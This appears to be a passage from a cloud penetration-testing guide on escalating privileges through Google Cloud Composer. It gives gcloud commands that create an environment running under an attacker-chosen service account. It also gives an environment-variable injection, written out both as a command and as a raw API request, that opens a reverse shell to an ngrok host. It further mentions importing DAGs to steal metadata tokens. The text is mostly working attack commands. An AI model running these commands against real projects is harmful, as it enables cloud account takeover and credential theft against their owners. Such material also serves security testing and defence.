composer.environments.create
Copy gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account= "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
composer.environments.update
It's possible to update composer environment, for example, modifying env variables:
Copy # Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/ < project-i d > /locations/ < locatio n > /environments/ < composer-env-nam e > \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location < locatio n > \
--project < project-i d >
# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
Copy mkdir /tmp/dags
gcloud composer environments storage dags export --environment < environmen t > --location < lo c > --destination /tmp/dags
Import Dags code to compromise the environment and be able to steal the token from the metadata endpoint:
Copy # TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/asd